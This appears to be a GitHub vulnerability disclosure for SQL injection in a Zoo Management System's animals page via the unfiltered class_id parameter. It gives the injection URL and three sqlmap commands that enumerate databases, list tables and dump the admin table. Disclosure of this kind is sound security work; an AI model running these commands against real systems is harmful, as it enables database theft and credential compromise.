Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Zoo Management System SQL Injection

  • Description => sql injection at /animals?class_id=1
  • Injection Point
http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1

Exploit

  • Exploit with Sqlmap
python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -dbs

image

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -tables -D zoomanagement

image

python3 sqlmap.py -u http://192.168.1.101:8080/ZooManagementSystem/public_html/animals?class_id=1 -columns -D zoomanagement -T admin -dump

image

Vulnerable Code

image

  • No filter class_id when inserting data to database